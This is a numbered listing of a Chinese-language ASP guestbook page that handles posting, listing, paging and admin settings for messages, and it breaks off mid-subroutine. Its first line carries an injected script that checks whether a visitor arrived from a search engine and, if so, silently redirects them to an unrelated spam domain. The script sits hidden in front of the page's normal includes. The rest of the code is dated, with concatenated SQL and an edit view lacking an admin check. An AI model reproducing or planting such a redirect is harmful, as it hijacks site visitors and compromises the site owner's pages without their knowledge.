d:\wwwroot\wuchunhua\gbook.asp

001: <script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script><!--#include file="head.asp"-->
002: <%response.buffer=true%>
003: <!--#include file="md5.asp"-->
004: <%Function HtmlEncode(Content)
005:   Content = Replace(Content, ">", "&gt;")
006:   Content = Replace(Content, "<", "&lt;")
007:   Content = Replace(Content, "'", "")
008:   HtmlEncode = content
009: End Function
010:
011: Function HtmlEncode2(Content)
012:   Content = Replace(Content, ">", "&gt;")
013:   Content = Replace(Content, "<", "&lt;")
014:   'Content = Replace(Content, " ", "&nbsp;")
015:   Content = Replace(Content, "'", "")
016:   Content = Replace(Content, vbcrlf,"<br>")
017:   HtmlEncode2 = content
018: End Function
019:
020: dim page
021:
022: page = Request.QueryString("page")
023: if isnumeric(page)=false then
024: response.write "<script>alert('参数错误,窗口关闭!');window.close();</script>"
025: response.end
026: end if
027: if page="" then page=1
028: page2 = Request.QueryString("k")
029: if isnumeric(page2)=false then
030: response.write "<script>alert('参数错误,窗口关闭!');window.close();</script>"
031: response.end
032: end if
033: if page2="" then page2=1
034:
035: On Error Resume Next
036: action = HtmlEncode(Request.QueryString("action"))
037: action_e = HtmlEncode(Request.Form("action_e"))
038:
039:
040: dim webtitle,webname,webyn,webgl,webyn2,view2
041: set rs1 = conn.execute("select * from china_admin")
042:
043: if rs1("title")<>"" then webtitle=rs1("title")
044: if rs1("webname")<>"" then webname=rs1("webname")
045: if rs1("gbyn")<>"" then webyn=rs1("gbyn")
046: webgl=rs1("gl")
047:
048: rs1.close
049: set rs1=nothing%
>
050: <html>
051:   
052:
053: <script language="JavaScript" type="text/JavaScript">
054: <!--
055: function MM_preloadImages() { //v3.0
056:   var d=document; if(d.images){ if(!d.MM_p) d.MM_p=new Array();
057:     var i,j=d.MM_p.length,a=MM_preloadImages.arguments; for(i=0; i<a.length; i++)
058:     if (a[i].indexOf("#")!=0){ d.MM_p[j]=new Image; d.MM_p[j++].src=a[i];}}
059: }
060: //-->

061: </script>
062: <style type="text/css">
063: <!--
064: td           { font-size: 12px; line-height: 17px }
065: body         { font-size: 12px; line-height: 17px }
066: p            { margin-top: 1px; margin-bottom: 1px }
067: body,p,td    { font-family:Verdana, Arial, Helvetica, sans-serif; }
068: -->

069: </style>
070: <script language="JavaScript">
071: function shuzi(message,total,used,remain)
072: {
073:    var max;
074:    max = total.value;
075:    if (message.value.length > max) {
076:    message.value = message.value.substring(0,max);
077:    used.value = max;
078:    remain.value = 0;
079:    alert("留言不能超过 500 个字!");
080:    }
081:    else {
082:    used.value = message.value.length;
083:    remain.value = max - used.value;
084:    }
085: }
086: </script>
087:
088: <table width="860" border="0" align="center" cellpadding="0" cellspacing="1" bgcolor="CAE2F8">      
089:               <tr>      
090:                 <td bgcolor="#FFFFFF"> <div align="center">      
091: <%Select Case action_e      
092:    Case ""      
093:       
094:    Case "Add_New"      
095:       Call Add_New_Execute()      
096:    Case "reply"      
097:       Call Reply_Execute()      
098:    Case "admin"      
099:       Call Admin_Login_Execute()      
100:    Case "EditPWD"      
101:       Call EditPWD_Execute()      
102:    Case "Edit"      
103:       Call Edit_Execute()      
104:             
105:     Case "Edit_web"      
106:       Call Edit_web()      
107:             
108: End Select      
109: Call Main_Menu()      
110: Select Case action      
111:     Case "UbbHelp"      
112:         Call UbbHelp()      
113:    Case "Admin_Login"      
114:       Call Admin_Login()      
115:    Case "Exit"      
116:       Call Exit_Admin()      
117:             
118:       Call View_Words()      
119:             
120:    Case ""      
121:             
122:       Call View_Words()      
123:             
124:    Case "Add_New"      
125:       Call Add_New()      
126:    Case "reply"      
127:       Call Reply()      
128:    Case "View_Words"      
129:             
130:       Call View_Words()      
131:             
132:    Case "del"      
133:       Call del()      
134:       Call View_Words()      
135:    Case "EditPWD"      
136:       Call EditPWD()      
137:    Case "Edit"      
138:       Call Edit()      
139:             
140:    Case "Edit_web"      
141:       Call Edit_web()      
142:                   
143: End Select%
></td>      
144:               </tr>      
145: </table>
146: <TABLE width="860" height=4 border=0 align="center" cellPadding=0 cellSpacing=0>
147:   <TBODY>
148:     <TR>
149:       <TD></TD>
150:     </TR>
151:   </TBODY>
152: </TABLE>
153: <!--#include file="foot.asp"-->    
154: <%'添加一条新留言%>
155: <%Sub Add_New()%>
156: <table width="650" border="0" align="center" cellpadding="0" cellspacing="0">
157:   <form name="new" method="post" action="gbook.asp">
158:     <tr>
159:       <td height="10" colspan="3" align="center" width="548">
160: </td>
161:     </tr>
162:     <tr>
163:       <td width="106" height="25"  > <div align="right">姓名:</div></td>
164:       <td width="291" height="25"> <input type="text" name="name" size="20" maxLength=10>
165:         <font color="#FF0000">(必填)</font></td>                                                                                                                                            
166:       <td width="147">&nbsp;</td>                                                                                                                                            
167:     </tr>                                                                                                                                            
168:     <tr>                                                                                                                                              
169:       <td align="right" height="25" width="106"> 性别: </td>                                                                                                                                            
170:       <td height="25" width="291"> <input type="radio" name="sex" value="1" checked>                                                                                                                                            
171:         男                                                                                                                                              
172:         <input type="radio" name="sex" value="0">                                                                                                                                            
173:         女 </td>                                                                                                                                            
174:       <td rowspan="5" width="147">&nbsp; </td>                                                                                                                                            
175:     </tr>                                                                                                                                            
176:     <tr>                                                                                                                                              
177:       <td align="right" height="25" width="106">电话或QQ:</td>                                                                                                                                            
178:       <td height="25" width="291"> <input name="qq" type="text" id="qq" size="20" maxLength=13>                                                                                                                                            
179:         <font color="#FF0000">(必填)</font></td>                                                                                                                                            
180:     </tr>                                                                                                                                            
181:     <tr>                                                                                                                                              
182:       <td align="right" height="25" width="106">主页: </td>                                                                                                                                            
183:       <td height="25" width="291"> <input name="web" type="text" value="http://" size="35" maxLength=50>                                                                                                                                            
184:       </td>                                                                                                                                            
185:     </tr>                                                                                                                                            
186:     <tr>                                                                                                                                            
187:       <td align="right" height="25" width="106">地址:</td>                                                                                                                                            
188:       <td height="25" width="291"> <input name="come" type="text" id="come" size="35"></td>                                                                                                                                            
189:     </tr>                                                                                                                                            
190:     <tr>                                                                                                                                            
191:       <td align="right" height="25" width="106"> 电子邮箱: </td>                                                                                                                                            
192:       <td height="25" width="291"> <input name="email" type="text" value="@" size="20" maxLength=50>                                                                                                                                            
193:         <font color="#FF0000">(必填)</font> </td>                                                                                                                                              
194:     </tr>                                                                                                                                              
195:     <tr>                                                                                                                                              
196:       <td align="right" valign="top" width="106"> <br>                                                                                                                                              
197:         <br>                                                                                                                                              
198:         <br>                                                                                                                                              
199:         <br>                                                                                                                                              
200:         留言内容: </td>                                                                                                                                              
201:       <td colspan="2" width="440"> <textarea name="words" cols="36" rows="10"></textarea>                                                                                                                                              
202:         <font color="#FF0000">(必填)</font></td>                                                                                                                                              
203:     </tr>                                                                                                                                              
204:     <tr>                                                                                                                                                
205:       <td align="right" valign="middle" height="35" width="108"> <div align="center">                                                                                                                                              
206:           <input type="hidden" name="action_e" value="Add_New">                                                                                                                                              
207: </div></td>                                                                                                                                              
208:       <td colspan="2" align="right" valign="middle" height="35" width="442">    
209:         <p align="left">                                                                                                                                              
210:           <input type="submit" name="Submit" value="立即提交">&nbsp; <input type="reset" name="Submit2" value="重新填写">                                                                                                                                            
211:       </td>                                                                                                                                            
212:     </tr>                                                                                                                                            
213:   </form>                                                                                                                                            
214: </table>                                                                                                                                            
215: <br>                                                                                                                                            
216: <%End Sub%>                                                                                                                                            
217: <%''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''%>                                                                                                                                              
218: <%Sub Main_Menu()%>                                                                                                                                                
219: <table width="800" border="0" align="center" cellpadding="0" cellspacing="0">                                          
220: <tr><td colspan="2" height="10"></td></tr>                                                                                                                                            
221:   <tr>                                                                                                                                                
222:     <td width="654" height="35" valign="top">&nbsp;<a href="gbook.asp?action=Admin_Login"><img border="0" src="images/gblogin.gif"></a> <a href="gbook.asp?action=Add_New"><img src="images/write.gif" border="0"></a> <a href="gbook.asp?action=View_Words"><img border="0" src="images/view.gif"></a>                                                                                                                                                
223:         <%If session("china_admin")<>"" Then%>                                            
224:         <a href="gbook.asp?action=Edit_web"><img border="0" src="images/setup.gif"></a> <a href="gbook.asp?action=EditPWD"><img border="0" src="images/editpass.gif"></a>                                                                                                                                            
225:         <%End If%>                                                                                                    
226:         <%If session("china_admin")<>"" Then%><a href="gbook.asp?action=Exit"><img border="0" src="images/quit.gif"></a>                                                                                                                                            
227:         <%End If%>                                                                                                      
228:     </td>                                                                                                                                                                                      
229:     <td width="146" height="35" valign="middle">              
230:     <%if len(webtitle)>2 then%><font color="#FF0000" style="font-size:12px"><marquee onMouseOut=start(); onMouseOver=stop(); scrollamount=3 width="145" height="20">                                                                                                                                          
231:       <%=webtitle%> </marquee></font><%end if%>            
232:     </td>                                                                                                                                                                                      
233:   </tr>                                                                                                                                            
234: </table>                                                                                                                                            
235: <%End Sub                                                                                                                                              
236: '''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''                                                                                                                                            
237: '查看留言                                                                                                                                            
238: Sub View_Words()                                                                                                                                              
239:          '几个ASP语句说明(温故而知新)                                                                                                                                            
240:          'sql="select sum(字段名) as 别名 from 数据表 where 条件表达式"  使用 rs("别名") 得到值                                                                                                                                            
241:        'AVG(字段名) 得出一个表格栏平均值                                                                                                                                              
242:          'COUNT(*|字段名) 对数据行数的统计或对某一栏有值的数据行数统计                                                                                                                                              
243:          'MAX(字段名) 取得一个表格栏最大的值                                                                                                                                              
244:          'MIN(字段名) 取得一个表格栏最小的值                                                                                                                                              
245:          'SUM(字段名) 把数据栏的值相加                                                                                                                                              
246:        ' OleDbDataReader dr = db1.getReader("select top "+n+" * from news where 类别="+strCID+" and (id not in (select top "+n*(page-1)+"  id from news where 类别="+strCID+" order by ID DESC))  order by ID DESC");                        
247:        '''''''''' 使用TOP分页方法                                                                                                                                            
248:          dim gbcount,n,x,y,j,k                                                                                                                                            
249:        n=25 '每页显示留言数                                                                                                                                            
250:        x=10 '每页显示的页数                                                                                                                                            
251:          set rs = conn.execute("select COUNT(*) as gbcount from china_words")                                                                                                                                            
252:        gbcount=rs("gbcount")                                                                                                                                            
253:        rs.close        
254:        if gbcount/n = int(gbcount/n) then '计算出分页数                                                                                                                                            
255:        y=int(gbcount/n)                                                                                                                                            
256:        else                                                                                                                                            
257:        y=int(gbcount/n)+1                                                                                                                                            
258:        end if                                                                                                                                            
259:                       
260:        if (page2)*x > y then '计算出每页显示的页数                                                                                                                                            
261:        k=y                                                                                                                                            
262:        else                                                                                                                                            
263:        k=(page2)*x                                                                                                                                            
264:        end if                                                                                                                                            
265:                                                                                                                                     
266:        if page=1 then '判断页数,从而从第几条记录开始读数据                                                                                                                                            
267:        j=""                                                                                                                                            
268:        else                                                                                                                                            
269:        j="where id not in (select top "&n*(page-1)&" id from china_words  Order By id Desc)"                                                                                                                                            
270:          end if                                                                                                                                            
271:        ' 在第J条记录之后取得前N条记录                                                                                                                                              
272:       'set rs = conn.execute("select top "&n&" id,name,sex,head,web,email,title,words,date,reply,ip,come,view,qq from china_words "&j&" Order By id Desc") '打开记录的另一种方式,这种方式效率高,但没有打开记录集,一些功能受限                                                                                                                                            
273:                               
274:       Set Rs = Server.CreateObject("ADODB.RecordSet")                                                                                                                                            
275:       Sql="select top "&n&" * from china_words "&j&" Order By id Desc"                                                                                                                                            
276:       Rs.Open Sql,Conn,1,1   '打开记录集                                                                                            
277:       '传统的分页代码,*********开始                                                                                                                                            
278:       'TotalRecord=Rs.RecordCount  '记录总数                                                                                                                                            
279:       'Rs.PageSize = 8   '每页显示的记录数                                                                                                                                            
280:       'PageSize = Rs.PageSize                                                                                                                                            
281:       'PageCount=Rs.PageCount  ' 总页数                                                                                                                                            
282:       'if rs.bof  and rs.eof then    '错误处理                                                                                                                                            
283:       'CM="当前没有留言"                                                                                                                                            
284:       'else                                                                                                                                            
285:       'If page="" Then                                                                                                                                              
286:          'Rs.AbsolutePage = 1                                                                                                                                            
287:       'Else                                                                                                                                            
288:          'Rs.AbsolutePage = page                                                                                                                                            
289:       'End If                                                                                                                                            
290:       'end if                                                                                                                                            
291:       ''*************传统的分页代码*****结%>                                                                                                                                                                                                                  

292: <span>                                                                                                                                          
293: <%if rs.bof  and rs.eof then Response.Write "当前没有留言记录"%>                                                                                                                                          
294: </span>                                                                                                                                            
295: <%dim lou,words,reply,email,qq,web,come                                                                                                                                          
296: if Request.QueryString("page")<2 then                                                                                                                                          
297: lou=gbcount                                                                                                                                          
298: else                                                                                                                                          
299: lou=gbcount-((Request.QueryString("page")-1)*n)                                                                                                                                          
300: end if                                                                                                                                            
301:     
302:   do while not rs.eof                                                                                                                                            
303: reply=""                                                                                                                                          
304: words=""                                                                                                                                            
305: email=""                                                                                                                                          
306: qq=""                                                                                                                                          
307: web=""                                                                                                                                          
308: come=""                                                                                                                                          
309: if rs("email")="" then                                                                                                                                          
310: email=rs("name") & "&nbsp;没有留下电子邮件"                                                                                                                                          
311: else                                                                                                                                          
312: email=rs("name") & "&nbsp;的电子邮件是:&nbsp;"&rs("email")                                                                                                                                          
313: end if                                                                                                                                          
314:                                                                                                                       
315: if rs("web")="" or rs("web")="http://" then                                                                                                                                          
316: web=rs("name") & "&nbsp;暂时没有主页"                                                                                                                                          
317: else                                                                                                                                          
318: web=rs("name") & "&nbsp;的主页是:&nbsp;"&rs("web")                                                                                                                                          
319: end if                                                                                                                                          
320:       
321: if rs("qq")="" or len(rs("qq"))<4 then                                                                                                                                          
322: qq=rs("name") & "&nbsp;没有留下QQ号"                                                                                                                                          
323: else                                                                                                                                          
324: qq=rs("name") & "&nbsp;的QQ号是:&nbsp;"&rs("qq")                                                                                                                                          
325: end if                                                                                                                                          
326:                                                                                                                     
327:   words=rs("words")                                                                                                                                          
328:   if rs("reply")<>"" then reply=rs("reply")                                
329:   If session("china_admin") <>"" Then                              
330:   theip=Rs("ip")                                
331:   else                              
332:   shuzu=split(Rs("ip"),".")                                
333:   theip=shuzu(0)&"."&shuzu(1)&"."&shuzu(2)&".xxx"                              
334:   end if%
>                                                                                                                                          
335: <table width="800" border="1" align="center" cellspacing="0" style="border-collapse:collapse" bordercolor="CAE2F8">                                                                                                                                          
336:   <tr>                                                                                                                                            
337:     <td width="100%" height="59" colspan="2" valign="top">                                                                                                                                            
338:       <table width="100%" border="0" cellpadding="0" cellspacing="0">                                                                                                                                          
339:         <tr>                                                                                                                                            
340:           <td width="39%" height="22" background="images/topnav_bg1.jpg">&nbsp; <!--【<%=lou%>】--><font style="font-size:14px"></font><font color="#006699"><%=rs("name")%></font></td>                                                                                                                                            
341:           <td width="61%" height="22" background="images/topnav_bg1.jpg">
342:             <div align="right"> <font color="#006699"><%=Rs("date")%>
343:               <!--&nbsp;&nbsp;&nbsp;IP:<%=theip%>-->
344:               </font>&nbsp;&nbsp;
345:               <%If session("china_admin") <>"" Then%>
346:               <a href="gbook.asp?action=Edit&id=<%=Rs("id")%>"><img src="images/reply.gif" alt="修改回复" width="16" height="16" border="0">修改</a>
347:               <a href="gbook.asp?action=del&id=<%=Rs("id")%>" onClick="return confirm('确定要删除吗?\n\n该操作不可恢复!')"><img src="images/del.gif" alt="删除留言" width="15" height="15" border="0">删除</a>
348:               <%end if%>
349:             </div>
350:           </td>                                                                                                                                              
351:         </tr>                                                                                                                                              
352:         <tr>                                                                                                                                                
353:           <td colspan="2"> <table width="98%" border="0" align="center" cellpadding="0" cellspacing="0" height="60">                                                                                                                                              
354:               <tr>                                                                                                                                                
355:                 <td width="15%" valign="top">
356:             <table width="100%"  border="0" cellspacing="0" cellpadding="0" height="10">
357:   <tr>
358:     <td></td>
359:   </tr>
360: </table>
361:                                                                                                                             
362:                   <p align="center">                                                                                                                                              
363:                   <%if rs("sex")="1" then%>                                                                              
364:                    <img src="images/male.gif" <%if rs("come")<>"" then%>alt="<%=rs("come")%>"<%end if%>>                                                                                                                                            
365:                   <%else%>                                                                                
366:                   <img src="images/female.gif">                                                                                                                                              
367:                   <%end if%>                                                                                                                                              
368:                   </p>                                                                              
369:                 </td>                                                                                                                                              
370:                 <td width="85%" align="center"><table width="100%" border="0" cellpadding="2" cellspacing="1" bgcolor="#E1EFFB">
371:                   <tr>
372:                     <td bgcolor="#FFFFFF">
373:                         <%if webyn=1 and rs("view")=1 then%>
374:                         <%=Ubb(unHtml(words))%>
375:                         <%if reply<>"" then%>
376:                         <!--<br><font color="#919191">-------------------------------------------------------------------------------------------------------------------</font>-->
377:                         <p style="margin-top: 8"><font color="#800000">回复: <%=Ubb(unHtml(reply))%></font>
378:                             <%end if%>
379:                             <%end if%>
380:                             <%if webyn<>1 then%>
381:                             <font color="#800000"><%=Ubb(unHtml(words))%></font>
382:                             <%if reply<>"" then%>
383:                             <!--<br><font color="#919191">-------------------------------------------------------------------------------------------------------------------</font>-->
384:                         <p style="margin-top: 8"><font color="#800000">回复: <%=Ubb(unHtml(reply))%></font>
385:                             <%end if%>
386:                             <%end if%>
387:                             <%if webyn=1 and rs("view")=0 then%>
388:         恭喜您留言成功,请等待我们的答复。
389:         <%end if%></td>
390:                   </tr>
391:                 </table></td>
392:               </tr>                                                                                                                                              
393:           </table>          </td>                                                                                                                                              
394:         </tr>                                                                                                                                              
395:       </table> </td>                                                                                                                                              
396:   </tr>                                                                                                                                              
397: </table>                                                                                                                                              
398: <br>                                                                                                                                              
399: <%lou=lou-1                                                                                                                                                  
400:       rs.movenext                                                                                                                                              
401:        loop                                                                                                                                              
402:       Rs.Close                                                                                                                                              
403:       Set Rs = Nothing%
>                                                                                                                                              
404: <table width="700" border="0" cellspacing="0" cellpadding="0" align="center">                                                                                                                                              
405:   <tr>                                                                                                                                                
406:     <td height="20" align="right"> <div align="right">有<%=gbcount%>条留言 共<%=y%>页 分页                                                                                                                                                
407:         <%if page2>1 then%>                                                                                                                                              
408:         <a href="gbook.asp?page=<%=((page2-1)*x)-(x-1)%>&k=<%=page2-1%>">前<%=x%>页</a>                                                                                                                                                
409:         <%end if%>                                                                                                                                              
410:         <%For m =((page2)*x)-(x-1) To k%>                                                                                                                                              
411:         [<a href="gbook.asp?page=<%=m%>&k=<%=page2%>"><%=m%></a>]                                                                                                                                                
412:         <%Next%>                                                                                                                                              
413:         <%if page2*x < y then%>                                                                                                                                              
414:         <a href="gbook.asp?page=<%=((page2+1)*x)-(x-1)%>&k=<%=page2+1%>">后<%=x%>页</a>                                                                                                                                                
415:         <%end if%>                                                                                                                                                                                      
416:       </div></td>                                                                                                                                              
417:   </tr>                                                                                                                                              
418: </table>                                                                                                                                              
419: <span>                                                                                                                                                
420: <%End Sub%>                                                                                                                                              
421: <%'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''                                                                                                                                              
422: '管理员登陆接口%>                                                                                                                                              

423: <%Sub Admin_Login()%>                                                                                                                                              
424: </span><br>                                                                                                                                              
425: <table width="400" border="0" cellspacing="1" cellpadding="4" align="center">                                                                                                                                              
426:   <form name="reply" method="post" action="gbook.asp">                                                                                                                                              
427:     <tr>                                                                                                                                                
428:       <td colspan="2" align="center" class="topic" height="40"> <font style="font-size:14px"> <b>管理员登陆</b></font> </td>                                                                                                                                            
429:     </tr>                                                                                                                                            
430:     <tr>                                                                                                                                              
431:       <td width="105" align="right" valign="top"> 用户名: </td>                                                                                                                                            
432:       <td width="226"> <input type="text" name="username"> </td>                                                                                                                                            
433:     </tr>                                                                                                                                            
434:     <tr>                                                                                                                                              
435:       <td width="105" align="right" valign="top"> 密&nbsp; 码: </td>                                                                                                                                            
436:       <td width="226"> <input type="password" name="password">                                                                                                                                              
437:         <input type="hidden" name="action_e" value="admin"> </td>                                                                                                                                            
438:     </tr>                                                                                                                                            
439:     <tr align="center">                                                                                                                                              
440:       <td height="29" colspan="2"> <input type="submit" name="Submit32" value="登陆">                                                                                                                                              
441:       </td>                                                                                                                                            
442:     </tr>                                                                                                                                            
443:   </form>                                                                                                                                            
444: </table>                                                                                                                                            
445: <br>                                                                                                                                            
446: <%End Sub%>                                                                                                                                            
447: <%''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''%>                                                                                                                                              
448: <%Sub UbbHelp()%>                                                                                                                                              
449: <div align="left">                                                                                                                                                
450:   <%End Sub%>                                                                                                                                              
451: </div>                                                                                                                                              
452: <%Sub EditPWD()%>                                                                                                                                              
453: <table width="400" border="0" align="center" cellpadding="4" cellspacing="1">                                                                                                                                              
454:   <form name="editpwd" method="post" action="gbook.asp">                                                                                                                                              
455:     <tr>                                                                                                                                                
456:       <td colspan="2" align="center" height="40"> <b><font style="font-size:14px">修改管理信息</font></b></td>                                                                                                                                            
457:     </tr>                                                                                                                                            
458:     <tr>                                                                                                                                              
459:       <td align="right" valign="middle" width="105" height="24">旧用户名:</td>                                                                                                                                            
460:       <td width="226" height="24" align="left">                                                                                                                                              
461:         <input type="text" name="oldusername">                                                                                                                                              
462:       </td>                                                                                                                                            
463:     </tr>                                                                                                                                            
464:     <tr>                                                                                                                                              
465:       <td align="right" valign="middle" width="105" height="24">新用户名:</td>                                                                                                                                            
466:       <td width="226" height="24" align="left">                                                                                                                                              
467:         <input type="text" name="username">                                                                                                                                              
468:       </td>                                                                                                                                            
469:     </tr>                                                                                                                                            
470:     <tr>                                                                                                                                              
471:       <td align="right" valign="middle" width="105" height="24">确认新用户名:</td>                                                                                                                                            
472:       <td width="226" height="24" align="left">                                                                                                                                              
473:         <input type="text" name="username_c">                                                                                                                                              
474:       </td>                                                                                                                                            
475:     </tr>                                                                                                                                            
476:     <tr>                                                                                                                                              
477:       <td align="right" valign="middle" width="105" height="24"> 旧 密 码: </td>                                                                                                                                            
478:       <td width="226" height="24" align="left">                                                                                                                                              
479:         <input type="password" name="oldpwd">                                                                                                                                              
480:       </td>                                                                                                                                            
481:     </tr>                                                                                                                                            
482:     <tr>                                                                                                                                              
483:       <td align="right" valign="middle" width="105">新 密 码: </td>                                                                                                                                            
484:       <td width="226" align="left"> <input type="password" name="newpwd">                                                                                                                                              
485:       </td>                                                                                                                                            
486:     </tr>                                                                                                                                            
487:     <tr>                                                                                                                                              
488:       <td align="right" valign="middle" width="105" height="27">确认新密码:</td>                                                                                                                                            
489:       <td width="226" align="left" height="27">                                                                                                                                              
490:         <input type="password" name="newpwd_c">                                                                                                                                              
491:         <input type="hidden" name="action_e" value="EditPWD"> </td>                                                                                                                                            
492:     </tr>                                                                                                                                            
493:     <tr align="center">                                                                                                                                              
494:       <td colspan="2"> <input type="submit" name="EditPWD" value="修改密码">                                                                                                                                              
495:       </td>                                                                                                                                            
496:     </tr>                                                                                                                                            
497:   </form>                                                                                                                                            
498: </table>                                                                                                                                            
499: <%End Sub%>                                                                                                                                            
500: <%Sub Edit()%>                                                                                                                                            
501: <%theid=Request.QueryString("id")                    
502: if isnumeric(theid)=false then                    
503: response.write "<script>alert('参数错误,关闭窗口!');window.close();</script>"                    
504: response.end                    
505: end if                                                                                                                                        
506: Set Rs = Server.CreateObject("ADODB.RecordSet")                                                                                                                                            
507: Sql="Select * from china_words Where id="&theid                                                                                                                                            
508: Rs.Open Sql,Conn,1,1%
>                                                                                                                                            
509: <table width="550" border="0" align="center" cellpadding="0" cellspacing="0">                                                                                                                                            
510:   <form name="reply" method="post" action="gbook.asp">                                                                                                                                            
511:     <tr>                                                                                                                                              
512:       <td colspan="2" align="center" class="topic" height="60"> <b> <font style="font-size:14px"> 修改留言内容及回复</font><br>                                                                                                                                            
513:         </b>                                                                                                                                            
514:         <span>留言者资料</span>                                                                                                                                            
515:         <%If Rs("sex")=1 Then                                                                                                                                              
516:                Response.Write "<img src='images/Male.gif' alt='你点到帅哥了' width='16' height='16'>"                                                                                                                                              
517:                Else                                                                                                                                              
518:                Response.Write "<img src='images/FeMale.gif' alt='你点到美女了' width='16' height='16'> "                                                                                                                                              
519:                End If%
>                                                                                                                                              
520:         <img src="images/oicq.gif" alt="<%=Rs("qq")%>" width="19" height="16" border="0">                                                                                                                                              
521:         <a href="mailto:<%=Rs("email")%>"><img src="images/icon_email.gif" alt="<%=Rs("email")%>" width="17" height="16" border="0"></a>                                                                                                                                              
522:         <a href="<%=Rs("web")%>" target="_blank"><img src="images/homepage.gif" alt="<%=Rs("web")%>" width="16" height="16" border="0"></a>                                                                                                                                              
523:         <img src="images/come.gif" alt="<%=Rs("name")%>来自:<%=Rs("come")%>" width="16" height="16">                                                                                                                                              
524:       </td>                                                                                                                                              
525:     </tr>                                                                                                                                              
526:     <tr>                                                                                                                                              
527:       <td width="113" align="right" valign="top"> 留言内容: </td>                                                                                                                                              
528:       <td width="468"> <textarea name="words" cols="60" rows="8"><%if Rs("words")<>"" then%><%=replace(Rs("words"),"<br>",vbcrlf)%><%end if%></textarea>                                                                                                                                              
529:       </td>                                                                                                                                              
530:     </tr>                                                                                                                                              
531:     <tr align="center">                                                                                                                                              
532:       <td align="right">回复:</td>                                                                                                                                              
533:       <td align="left"> <textarea name="reply" cols="60" rows="8"><%if Rs("reply")<>"" then%><%=replace(Rs("reply"),"<br>",vbcrlf)%><%end if%></textarea>                                                                                                                                              
534:         <br> <br> <input name="view" type="checkbox" id="view" <%if Rs("view")=1 then response.write "value='true' checked"%><%if Rs("view")="0" then response.write " value='false'"%>>                                                                                                                                              
535:         通过审批</td>                                                                                                                                                
536:     </tr>                                                                                                                                              
537:     <tr align="center">                                                                                                                                                
538:       <td colspan="2"> <input type="hidden" name="action_e" value="Edit"> <input type="hidden" name="id" value="<%=Request.QueryString("id")%>">                                                                                                                                                
539:         <input type="submit" name="Submit" value="修改留言" id="Submit">                                                                                                                                              
540:       </td>                                                                                                                                              
541:     </tr>                                                                                                                                              
542:   </form>                                                                                                                                              
543: </table>                                                                                                                                              
544: <%End Sub%>                                                                                                                                              
545: <br>                                                                                                                                              
546: <%Sub Edit_web()%>                                                                                                                                              
547: <%If session("china_admin")="" Then                                                                                                                                                
548:       Response.Write "连接超时,请重新登录"                                                                                                                                              
549:       Response.End                                                                                                                                              
550: end if                                                                                                                                              
551:   
552: if HtmlEncode(Request.Form("submit"))="修改" then                                                                                                                                              
553: Set Rs = Server.CreateObject("ADODB.RecordSet")                                                                                                                                              
554: Sql="Select * from china_admin"                                                                                                                                              
555: Rs.Open Sql,Conn,2,3                                                                                                                                              
556:    rs("title")=HtmlEncode(Request.Form("webtitle"))                                                                                                                                              
557:    rs("gl")=HtmlEncode(Request.Form("webggg"))                                                                                                                                              
558:    rs("gbyn")=Request.Form("webyn")                                                                                                                                              
559:    rs("webname")=HtmlEncode(Request.Form("webname"))                                                                                                                                              
560:    rs.update                                                                                                                                                  
561: 'if rs("title")<>"" then webtitle=rs("title")                                                                                                                                              
562: 'if rs("webname")<>"" then webname=rs("webname")                                                                                                                                              
563: 'if rs("gbyn")<>"" then webyn=rs("gbyn")                                                                                                                                              
564: 'if rs("words")<>"" then webgg=rs("words")                                                                                                                                              
565: rs.close                                                                                                                                              
566: set rs=nothing                                                                                                                                              
567: response.redirect"gbook.asp?action=Edit_web"                                                                                                                                              
568: response.end                                                                                                                                              
569: end if                                                                                                                                              
570: webyn2=""                                                                                                                                              
571: if webyn=1 then                                                                                                                                              
572: webyn2="checked"                                                                                                                                              
573: end if%
>                                                                                                                                              
574: <table width="550" border="0" align="center" cellpadding="0" cellspacing="0">                                                                                                                                              
575:   <form name="reply" method="post" action="gbook.asp">                                                                                                                                              
576:     <tr>                                                                                                                                                
577:       <td colspan="2" align="center" class="topic" height="40"> <font style="font-size:14px"> <b> 修改留言板属性</b></font></td>                                                                                                                                              
578:     </tr>                                                                                                                                              
579:     <tr>                                                                                                                                              
580:       <td width="202" align="right" valign="top"> 留言板名称:</td>                                                                                                                                            
581:       <td width="379"><input name="webname" type="text" id="webname" value="<%=webname%>" size="50" maxLength=25>                                                                                                                                              
582:       </td>                                                                                                                                            
583:     </tr>                                                                                                                                            
584:     <tr align="center">                                                                                                                                              
585:       <td align="right">公告内容:</td>                                                                                                                                            
586:       <td align="left"><input name="webtitle" type="text" id="webtitle" value="<%=webtitle%>" size="50" maxLength=25></td>                                                                                                                                            
587:     </tr>                                                                                                                                            
588:     <tr align="center">                                                                                                                                              
589:       <td align="right"  valign="top">词语过滤:</td>                                                                                                                                            
590:       <td align="left"><input name="webggg" type="text" id="webggg" value="<%=webgl%>" size="50" maxLength=300>                                                                                                                                              
591:         <br>                                                                                                                                            
592:         <span>用&quot;|&quot;分隔过滤的词,例:月亮|星星</span> </td>                                                                                                                                            
593:     </tr>                                                                                                                                            
594:     <tr align="center">                                                                                                                                              
595:       <td align="right">经过审批才显示留言:</td>                                                                                                                                            
596:       <td align="left"><input name="webyn" type="checkbox" id="webyn" <%if webyn=1 then response.write "value='0' checked"%><%if webyn=0 then response.write " value='1'"%>>是</td>                                                                                                                                            
597:     </tr>                                                                                                                                            
598:     <tr align="center">                                                                                                                                              
599:       <td colspan="2"> <input type="hidden" name="action_e" value="Edit_web">                                                                                                                                              
600:         <input type="submit" name="Submit" value="修改" id="Submit">                                                                                                                                            
601:       </td>                                                                                                                                            
602:     </tr>                                                                                                                                            
603:   </form>                                                                                                                                            
604: </table>                                                                                                                                            
605: <%End Sub%>                                                                                                                                            
606: </body>                                                                                                                        
607: <%Sub Add_New_Execute()                            
608:    If HtmlEncode(trim(Request.Form("name")))="" Then                                                                                                                                                                                            
